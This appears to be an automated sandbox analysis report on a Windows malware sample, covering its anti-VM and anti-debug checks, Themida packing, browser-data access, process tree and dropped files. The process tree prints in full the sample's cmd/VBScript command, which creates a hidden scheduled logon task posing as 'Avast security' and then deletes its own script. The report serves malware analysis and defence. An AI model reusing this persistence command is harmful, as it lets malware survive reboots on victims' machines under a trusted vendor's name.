Analysis

  • max time kernel
    90s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2023, 02:29

General

  • Target
    01b8e515d67bd370e13b5bc1d2526871.exe
  • Size 3.0MB
  • Sample230120-cyldkadd2v
  • SHA256 da9a898aeba9ed3dbf4d70fd12a8c886e1a7952c9bcb05952f87d9113c9df84b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01b8e515d67bd370e13b5bc1d2526871.exe
    "C:\Users\Admin\AppData\Local\Temp\01b8e515d67bd370e13b5bc1d2526871.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1316
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe
        "C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe"
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Avast corporation" : regInfo.Description="Avast security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Avast security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > "C:\Users\Admin\AppData\Local\Temp\tmpF38C.vbs" & cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmpF38C.vbs" & del /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\tmpF38C.vbs" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2420
          • C:\Windows\SysWOW64\cscript.exe
            cscript //nologo "C:\Users\Admin\AppData\Local\Temp\tmpF38C.vbs"
            5⤵
              PID:4988

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          tmpF38C.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\tmpF38C.vbs
          • Size 1KB
          • SHA256 685acebd43141ce3c81da908dc0c337438f6ffbdaf888cc854d8fd6583a3bbda
          • MD5 SHA1 SHA512

          Avast security.exe

          • Path C:\Users\Admin\AppData\Roaming\Mozilla\Avast security.exe
          • Size 3.0MB
          • SHA256 da9a898aeba9ed3dbf4d70fd12a8c886e1a7952c9bcb05952f87d9113c9df84b
          • MD5 SHA1 SHA512 SSDEEP

          memory/1316-132-0x0000000000C70000-0x00000000014C8000-memory.dmp

          memory/1316-135-0x0000000000C70000-0x00000000014C8000-memory.dmp

          memory/1316-136-0x0000000000C70000-0x00000000014C8000-memory.dmp

          memory/1316-137-0x00000000055E0000-0x0000000005646000-memory.dmp

          memory/1316-138-0x00000000777C0000-0x0000000077963000-memory.dmp

          memory/1316-140-0x0000000000C70000-0x00000000014C8000-memory.dmp

          memory/1316-141-0x00000000777C0000-0x0000000077963000-memory.dmp

          memory/2816-144-0x00000000008A0000-0x00000000010F8000-memory.dmp

          memory/2816-147-0x00000000008A0000-0x00000000010F8000-memory.dmp

          memory/2816-148-0x00000000777C0000-0x0000000077963000-memory.dmp

          memory/2816-152-0x0000000006120000-0x00000000061BC000-memory.dmp

          memory/2816-154-0x0000000005B10000-0x0000000005B22000-memory.dmp

          memory/2816-155-0x0000000006B80000-0x0000000006BBC000-memory.dmp

          memory/2816-156-0x00000000008A0000-0x00000000010F8000-memory.dmp

          memory/2816-157-0x00000000777C0000-0x0000000077963000-memory.dmp